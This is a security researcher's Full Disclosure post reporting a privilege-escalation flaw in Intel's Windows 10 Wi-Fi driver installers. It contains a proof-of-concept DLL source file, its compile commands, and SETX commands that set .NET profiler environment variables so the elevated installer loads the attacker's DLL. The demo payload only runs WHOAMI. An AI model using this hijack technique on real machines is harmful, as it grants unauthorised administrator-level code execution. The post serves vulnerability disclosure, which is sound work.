Date: Wed, 21 Apr 2021 20:18:56 +0200
From: "Stefan Kanthak" <stefan.kanthak@...go.de>
To: <fulldisclosure@...lists.org>
Cc: bugtraq@...urityfocus.com
Subject: [FD] Executable installers are vulnerable^WEVIL (case 61):
	arbitrary code execution WITH escalation of privilege via
	Intel WiFi drivers

Hi @ll,

the executable installers version 22.30.0 (Latest), published 2/23/2021,
for the "Windows® 10 Wi-Fi Drivers for Intel® Wireless Adapters",
<https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver32_Win10.exe>
and
<https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver64_Win10.exe>,
available from
<https://downloadcenter.intel.com/download/30208/Windows-10-Wi-Fi-Drivers-for-Intel-Wireless-Adapters>
are (SURPRISE!) vulnerable: they allow arbitrary code execution WITH
local escalation of privilege.


CVSS 3.0 score: 8.2 (High)
CVSS 3.0 vector: 3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H


Demonstration:
~~~~~~~~~~~~~~

0. Log on with an arbitrary user account.

1. Save the following source as poc.c in an arbitrary directory:

--- poc.c ---
// Copyright (C) 2004-2021, Stefan Kanthak <stefan.kanthak@...go.de>

#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN

#include <windows.h>

const STARTUPINFO si = {sizeof(si)};

__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HANDLE  hModule,
                               DWORD   dwReason,
                               CONTEXT *lpContext)
{
    WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL";

    PROCESS_INFORMATION pi;
#if 0
    if (dwReason != DLL_PROCESS_ATTACH)
        return FALSE;
#endif
    if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,
                      CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT,
                      NULL, NULL, &si, &pi))
    {
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }

    return TRUE;
}
--- EOF ---

2. Start the command prompt of the 32-bit Windows Software Development Kit,
   then run the following command lines to compile poc.c and link it as
   poc.dll:

   CL.exe /Zl /W4 /Ox /GAFy /c poc.c
   LINK.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /NODEFAULTLIB /NXCOMPAT /OPT:REF /RELEASE /SUBSYSTEM:Windows poc.obj
kernel32.lib

ALTERNATIVE for steps 1 and 2:

2. Download <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
   and save it as poc.dll in an arbitrary directory.

   See <https://skanthak.homepage.t-online.de/sentinel.html> for its
   documentation, and
   <https://insights.sei.cmu.edu/cert/2016/06/bypassing-application-whitelisting.html>
   for an example how to use it.

3. Logon with the user account created during Windows setup.

4. Download
   <https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver32_Win10.exe>
   and
   <https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver64_Win10.exe>
   and save them in an arbitrary directory.

5. Start a command prompt (UNELEVATED!) and run the following command lines
   (replace <directory> with the pathname of the directory where you built
   or saved poc.dll):

   SETX.exe COR_ENABLE_PROFILING 1
   SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
   SETX.exe COR_PROFILER_PATH <directory>\poc.dll

   JFTR: this is just one method to set these environment variables without
         the need to elevate!

6. Execute WiFi_22.30.0_Driver32_Win10.exe and WiFi_22.30.0_Driver64_Win10.exe
   per double-click, acknowledge the UAC prompt, then admire the console
   windows showing the output of WHOAMI.exe running elevated.


stay tuned, and far away from Intel's vulnerable crap!
Stefan Kanthak


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